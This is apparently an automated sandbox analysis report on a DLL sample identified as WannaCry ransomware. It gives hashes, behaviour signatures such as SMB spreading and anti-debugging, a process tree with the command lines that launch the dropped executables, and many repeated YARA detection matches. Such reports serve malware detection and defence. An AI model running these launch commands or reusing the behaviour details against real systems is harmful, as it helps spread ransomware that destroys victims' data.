Edit tour

Windows Analysis Report
QbNF1cvpa0

Overview

General Information

Sample Name:	QbNF1cvpa0 (renamed file extension from none to dll)
Analysis ID:	670250
MD5:	17521ccda62a5e8622c2c235e24d16b4
SHA1:	9a766d53a38300c5a6fd9128d0a557a68e6e7747
SHA256:	1220c13241961a14546a0b8094c3143b751d2d06a93d0d53a6dbdbff51fb6f12
Tags:	dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Searches for user specific document files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

File is packed with WinRar

Connects to several IPs in different countries

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Dropped file seen in connection with other malware

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6192 cmdline: loaddll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 5124 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5364 cmdline: rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 1404 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 6E8971EB87017E3B907679EF204BCC2A)

tasksche.exe (PID: 6608 cmdline: C:\WINDOWS\tasksche.exe /i MD5: BEB8A27FC024962E045C32AA58D07D0E)

rundll32.exe (PID: 1260 cmdline: rundll32.exe C:\Users\user\Desktop\QbNF1cvpa0.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1400 cmdline: rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 6656 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 6E8971EB87017E3B907679EF204BCC2A)

tasksche.exe (PID: 5732 cmdline: C:\WINDOWS\tasksche.exe /i MD5: BEB8A27FC024962E045C32AA58D07D0E)

mssecsvr.exe (PID: 5680 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 6E8971EB87017E3B907679EF204BCC2A)

svchost.exe (PID: 8700 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7144 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 16948 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 20768 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
QbNF1cvpa0.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x353d0:$x3: tasksche.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
QbNF1cvpa0.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000000.376447140.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000000.376441267.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.373316314.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.374746978.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.378000535.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.369457391.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.370178171.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.386262666.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.368657344.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.371987251.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 1404	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6656	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 5680	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
